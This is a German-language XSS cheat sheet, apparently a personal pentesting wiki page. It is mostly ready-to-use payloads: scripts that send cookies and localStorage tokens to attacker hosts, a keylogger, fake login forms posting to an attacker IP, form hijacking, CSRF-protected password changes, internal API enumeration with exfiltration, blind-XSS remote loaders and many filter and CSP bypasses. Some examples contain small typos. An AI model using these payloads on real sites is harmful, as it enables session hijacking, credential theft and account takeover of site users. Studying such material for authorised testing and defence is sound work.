Skip to content

Cross Site Scripting (XSS)

Mit Cross-site scripting ist es möglich die same origin policy zu umgehen, welche dazu dient unterschiedliche Webseiten zu separieren. Die Content Security Policy (CSP) ist ein weiterer Sicherheitsmechanismus, welcher cross-site scripting und andere Schwachstellen behindern oder sogar verhindern soll. Allerdings kann die CSP oft leicht umgangen werden. Cross Site Scripting Darstellung

Tools

Identifizierung von XSS Lücken

Um XSS Payloads zu identifizieren können verschiedene Methoden genutzt werden. Ein Weg ist der Aufruf des Debuggers, dazu müssen aber die Entwicklungswerkzeuge offen sein.

<script>debugger;</script>
Da XSS in verschiedenen Kontexten laufen kann ist es gut XSS mit den Methoden document.domain und window.origin zu testen. Hierfür eignet sich am besten die console.log Methode, da sie bei erfolgreicher Ausführung weniger störend ist als alert.
Zudem können diese Methoden auch verkettet werden:
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>

DOM-basiertes Cross-site scripting

Diese Art des XSS Angriffs tritt auf, wenn eine Webanwendung Daten aus einer nicht vertrauenswürdigen Quelle nicht validiert. Meistens beim zurückschreiben der Daten ins DOM. Das folgende Beispiel veranschaulicht dies, indem aus dem Such Element der Wert genommen wird und wieder auf die Seite geschrieben wird.

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

Exploiting

Es gibt verschiedene Möglichkeiten XSS zu exploiten.
Die einfachste Möglichkeit ist ein Skript nachzuladen, da hier nicht auf die encodierung geachtet werden muss.
Dafür gibt es zwei Möglichkeiten entweder das Skript wird direkt geladen <script src=""></script> oder es wird erstellt: <img src='x' onerror="document.write('<script> src=\"\"></script>')" />

Klassische XSS Payloads Basic Payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;
Div Payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

Ausnutzung von wkhtmltopdf:

wkhtmltopdf

Steal Cookies

<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
<script>
  fetch('https://attacker.com', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      url: window.location.href,
      localStorage: localStorage
    })
  });
</script>

Session Hijacking

<script>document.location='http://attacker.com?cookie='+document.cookie</script>
<script>fetch("http://evil.com/?"+btoa(document.cookie));</script>
<script>c=localStorage.getItem('access_token');fetch(`http://evil.com/${c}`)</script>
new Image().src='http://OUR_IP/index.php?c='+document.cookie;


#POST
<script>
    fetch("http://10.0.0.1/", {
        method: 'POST',
        mode: 'no-cors',
        body: document.cookie
    });
</script>
#POST mit XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr_exfil = new XMLHttpRequest();
        xhr_exfil.open('POST', "http://evil.com:1234/", false);
        xhr_exfil.send(xhr.response);
    }
};
xhr.open('POST', "http://victim.com/login.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send("username=admin&password=admin");

Websocket Hijacker:

var ws = new WebSocket('wss://target.com/ws');
ws.onmessage = function(e) {
  fetch('https://attacker.com/ws-log?data='+btoa(e.data));
};

Keylogging

<script>
document.onkeypress = function(e) {
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "http://attacker.com/keystrokes?key=" + e.key, true);
  xhr.send();
};
</script>
#oneliner
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>

Phishing

Erstellung einer falschen Login Eingabe:

<script>
document.getElementById('urlform').remove(); # Entfernung von Elementen um nur Login zu haben
document.body.innerHTML += "<h3>Please login to continue</h3><form action=http://10.10.15.239:4242/><input type=username name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit name=submit valuee=Login></form>"
</script>

Data Grabber

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>

UI Redressing

Bei dem UI Redressing wird die Webseite umgestaltet. Dabei wird in dem folgenden Code in der ersten Zeile die Adressezeile geändert. Dies hat keinerlei Auswirkungen, soll für den Nutzer nur Vertrauenswürdiger Aussehen. Danach wird in der zweiten Zeile der Code mit dem eigenen überschrieben.

<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>

Form Hijacking

<script>
  document.forms[0].action = 'https://attacker.com/logger';
</script>

Enumerieren eines internen Endpunkts

var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];

for (i in endpoints){
    try {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
        xhr.send();

        if (xhr.status != 404){
            var exfil = new XMLHttpRequest();
            exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(endpoints[i]), false);
            exfil.send();
        }
    } catch {
        // do nothing
    }
}

Umgehen des CSRF Schutzes

// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

Interessante Payloads

<script>onerror=alert;throw 123</script>
<script>{onerror=alert}throw 123</script>
%0D%0A<script>alert(1)</script> #newline
<iframe src="javascript:alert(1)"></iframe>
<iframe onload=alert(1)></iframe>
<img src="jav ascript:alert(1)">
<img dynsrc="javascript:alert(1)">
<img lowsrc="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<body onload=alert(/XSS/.source)>

Angular

Ist eins der folgenden Elemente im Quellcode der Seite enthalten, handelt es sich um Angular: '''', '''' oder ''

''. Dann kann eine der folgenden Payloads benutzt werden: ''{{$eval.constructor('alert(1)')()}}'' oder ''{{$on.constructor('alert(1)')()}}''.

Dangling Markup

Technik mit der Domänenübergreifend Daten erfasst werden können, wenn ein XSS Angriff Aufgrund von Eingabefiltern oder anderen Schutzmaßnahmen nicht möglich ist. Oft ist es hierdurch möglich sensible Informationen abzugreifen, welche für andere Nutzer sichtbar sind. Darunter fallen auch CSRF-Token.

Blind XSS

<script src=//192.168.56.102></script>
"><script src=//192.168.56.102></script>
"><script src=//192.168.56.102></script><x="
$.getScript("//192.168.56.102") # jQuery
"><img src onerror=import('//192.168.56.102')>
"><img/src/onerror=import('//192.168.56.102')>
"><svg><script href=//192.168.56.102 />
"><svg/onload=import('//192.168.56.102')>
javascript:import('//192.168.56.102') # Link based URI payload
{{_openBlock.constructor('import("//192.168.56.102")')()}} # VueJS v3
{{constructor.constructor('import("//192.168.56.102")')()}} # VueJS v2 Angular JS
<img src=x onerror="fetch('https://your-server.com/log?cookie='+document.cookie)">
<script>navigator.sendBeacon('https://your-server.com/log', JSON.stringify(localStorage))</script>
<svg onload="(new Image).src='https://your-server.com/log?'+document.cookie">

XSS Filter Umgehen

  • HTML Enkodieren der Entitäten: &lt;script&gt;alert('XSS')&lt;/script&gt;
  • URL Encoding: %3Cscript%3Ealert('XSS')%3C/script%3E
  • Hex Encoding: "\x61\x6c\x65\x72\x74\x28\x31\x29"
  • Octal Encoding: "\141\154\145\162\164\50\61\51"
  • Unicode Encoding: "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"
  • Base64 Encoding: atob("YWxlcnQoMSk=")
  • Kontext ausbruch: "><script>alert('XSS')</script>
  • Polyglot Payloads, welche in mehreren Kontexten ausführbar sind: <svg/onload=alert('XSS')>
  • Nonce ausnutzen zur Umgehung der CSP
  • JSONP Ausnutzen zur Umgehung der CSP: %%<script src="http://vulnerable-website.com/jsonp?callback=alert('XSS')"></script>%% Sollten Anführungszeichen nicht möglich sein kann eine der folgenden Methoden genommen werden:
    # String.fromCharCode
    String.fromCharCode(97,108,101,114,116,40,49,41)
    
    # .source
    /alert(1)/.source
    
    # Url encodierung
    decodeURI(/alert(%22xss%22)/.source)
    

Bei den vorgestellten Methoden handelt es sich lediglich um Strings.
Allerdings wird es vom Browser nur ausgeführt, wenn es eine Ausführungssink gibt, welche als Input einen String entgegennimmt.
Die bekannteste Funktion hierfür ist die eval Funktion.
Auch wenn es andere gibt:

eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()

Diese können dann genommen werden um unseren enkodierten String auszuführen:

eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()

Einfacher Tag Bypass

Groß/Kleinschreibung: <ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x onerror=alert(1)>

Tags Obfuskieren:
<scr<script>ipt>alert(1)</scr</script>ipt> <img src=x onerror=alert&#x28;1&#x29>

Filter umgehung

Skript Tag Alternativen: <object data="data:text/html,<script>alert(1)</script>">
<embed src="data:text/html,<script>alert(1)</script>">
<iframe> src="javascript:alert(1)">

Even Handler Alternativen:
onmouseover=alert(1)
OnMoUsEoVeR=alert(1)
/onclick=alert(1)//

Enkodierungsumgehung

HTML Enkodierung:
&lt;script&gt;alert(1)&lt;/script&gt;

URL Enkodierung:
%3Cscript%3Ealert(1)%3C%2Fscript%3E

Unicode Enkodierung:
\u003Cscript\u003Ealert(1)\u003C/script\u003E

Hex Enkodierung:
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

Kontent Länge umgehen

<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<q/oncut=alert(1)>

Zeichen Filter umgehen

<img src=x onerror=alert`1`>
<script>alert(String.fromCharCode(88,83,83))</script>

Klammern vermeiden: onerror=alert`1````onclick=alert.call1```` ```onmouseover=alert.bind1````

Aus dem Kontext entkommen

Javascript Kontext: '-alert(1)-'
';alert(1)//
\';alert(1)//

Attribut Kontext:
"onmouseover="alert(1)
" autofocus onfocus="alert(1)

Moderne Browser Features ausnutzen

# Import Maps Abuse
<script type="importmap">{"imports": {"x": "data:text/javascript,alert(1)"}}</script>
<script type="module">import 'x'</script>

# Shadow DOM Injection
<div id=x></div>
<script>
x.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'
</script>

# Trusted Types Bypass
<script>
trustedTypes.createPolicy('p',{createHTML:_=>\'<img src=x onerror=alert(1)>\'}).createHTML('')
</script>

# Service Worker Injection
<script>
navigator.serviceWorker.register('data:text/javascript,alert(1)')
</script>

Komplexe DOM Manipulationstechniken

# MutationObserver Abuse
<script>
new MutationObserver(function(m){
    alert(1);
    o.disconnect();
}).observe(document.body,{subtree:true,childList:true})
</script>

# Template Element Injection
<template><img src=x onerror=alert(1)></template>
<script>document.body.appendChild(document.querySelector('template').content.cloneNode(true))</script>

# Custom Elements Abuse
<script>
customElements.define('xss-test', class extends HTMLElement {
  connectedCallback() { alert(1) }
});
</script>
<xss-test></xss-test>

Event Handler Innovation

# ConstructionEvent Abuse
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:x;}</style>
<xss id=x style="position:fixed;" onanimationcancel="alert(1)"></xss>

# Intersection Observer
<script>
new IntersectionObserver(([e]) => {
  if (e.isIntersecting) alert(1)
}).observe(document.body)
</script>

# ResizeObserver Exploit
<script>
new ResizeObserver(() => alert(1)).observe(document.body)
</script>

Protocol Handler Exploitation

# Data URL Abuse
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>

# Javascript Protocol Variants
<a href="javascript&colon;alert(1)">Click</a>
<a href="javascript&#58;alert(1)">Click</a>
<a href="javascript&#0058;alert(1)">Click</a>

# Blob URL Exploitation
<script>
URL.createObjectURL(new Blob(['<script>alert(1)</script>'],{type:'text/html'}))
</script>
# Vue Template Injection
{{constructor.constructor('alert(1)')()}}
{{_c.constructor('alert(1)')()}}

# Angular Template Injection
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

# React Props Injection
<div data-react-props="{'dangerouslySetInnerHTML':{'__html':'<img src=x onerror=alert(1)>'}}">

Fortgeschrittene Enkoding Techniken

# Multi-layer Encoding
# Base64 + URL + HTML
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;

# Unicode Escape Sequence
\u0027\u003e\u003c\u0073\u0076\u0067\u0020\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e

# CSS Escape
<style>@import '\\0061lert(1)';</style>

Regular Expression Bypass

Techniques to bypass regex-based filters:

# Newline Injection
<script>alert`
1`</script>

# Comment Injection
<!--><script>alert/**/('1')</script>

# Non-standard Attributes
<x onclick="&#0097;lert(1)">click</x>

Context-Aware Bypass

# CSS Context
<style>@import 'data:text/css;base64,KiB7eD11cmwoamF2YXNjcmlwdDphbGVydCgxKSl9';</style>

# SVG Context
<svg><set attributeName="onmouseover" to="alert(1)"/>
<svg><animate attributeName="onmouseover" to="alert(1)"/>

# Math Context
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><path id="</style><img onerror='alert(1)'"></mglyph></mtext></math>

Weitere Bypass Techniken

Mögliche Verwundbare Eingabefelder finden

Dazu müssen die felder gesucht werden. Dazu gehören: <input type="text">, <input type="search"> und <textarea>.

Jedes Feld kann dann mit Erkennungspayloads getestet werden:

"><img src=x onerror=alert(1)> # Testet anführungszeichen escape
'><img src=x onerror=alert(1)> # Testet einfache Anführungszeichen escape
javascript:alert(1) # Testet href Attribut
Die Rückgabe sollte als nächstes beobachtet werden. 1. Wird der payload reflektiert? 2. Wird die Eingabe enkodiert? 3. Gibt es fehler in der Browser Konsole

Verwundbare HTTP Header

Es kommt vor, dass HTTP Header in der Seite reflektiert werden. Die Header User-Agent, Referer und Cookie beispielsweise.
Auch optionale Header wie X-Forwarded-For oder X-Forwarded-Host können reflektiert werden.

HTML Kontext Tests

In HTML Tags: Original: <div>NUTZER_EINGABE</div> Test mit: <script>alert(1)</script> Test mit: <img src=x onerror=alert(1)>

In HTML Attributen: Original: <input value="NUTZER_EINGABE"> Test mit: "><script>alert(1)</script> Test mit: " autofocus onfocus="alert(1)

In Skript Tags: Original: <script>var name = 'NUTZER_EINGABE';</script> Test mit: ';alert(1);// Test mit: \';alert(1);//

Javascript Kontext Tests

Test wenn eingabe in javascript code reflektiert wird.

In Javascript Strings: Original: var user = "NUTZER_EINGABE"; Test mit: ";alert(1);// Test mit: \";alert(1);//

In Javascript Code: Original: var id = NUTZER_EINGABE; Test mit: alert(1)// Test mit: (alert(1))//

In einer Javascript Funktion: Original: callback('NUTZER_EINGABE') Test mit: ');alert(1);// Test mit: '});alert(1);//

DOM Quellen Test

Test URL Fragmente: site.com/page#<img src=x onerror=alert(1)> site.com/page#javascript:alert(1)

Test lokalen/sitzungsspeicher: > localStorage.setItem('test', '<img src=x onerror=alert(1)>'); > sessionStorage.setItem('test', '<img src=x onerror=alert(1)>');

Test der document.write Quellen: site.com/page?name=<div onmouseover='alert(1)'> site.com/page?name=</script><script>alert(1)</script> site.com/page?param=javascript:alert(1) site.com/page?param=data:text/html,<script>alert(1)</sript>

Webseit defacement

document.body.style.background = "#141d2b" # Hintergrundfarbe ändern
document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg" # Hintergrund ändern
document.title = 'HackTheBox Academy' # Titel ändern
document.getElementById("todo").innerHTML = "New Text" #  Elemente auf Seite ändern
document.getElementsByTagName('body')[0].innerHTML = "New Text" # Ändern der ganzen Seite

XSStrike

Einfacher Scan: xsstrike -u "http://target.com/page?param=value"

Fortgeschrittener Scan:

xsstrike -u "http://target.com/page?param=value" \
--crawl # sucht weitere Seiten 
--params # Scan Parameter
--blind # Testet auf Blind XSS 
--headers # Zu nutzende Header 
--vectors # Nutze angepasste Vektoren
--skip-dom # Überspringt DOM XSS Scans 

Cheat Sheet

Quellen

~ ~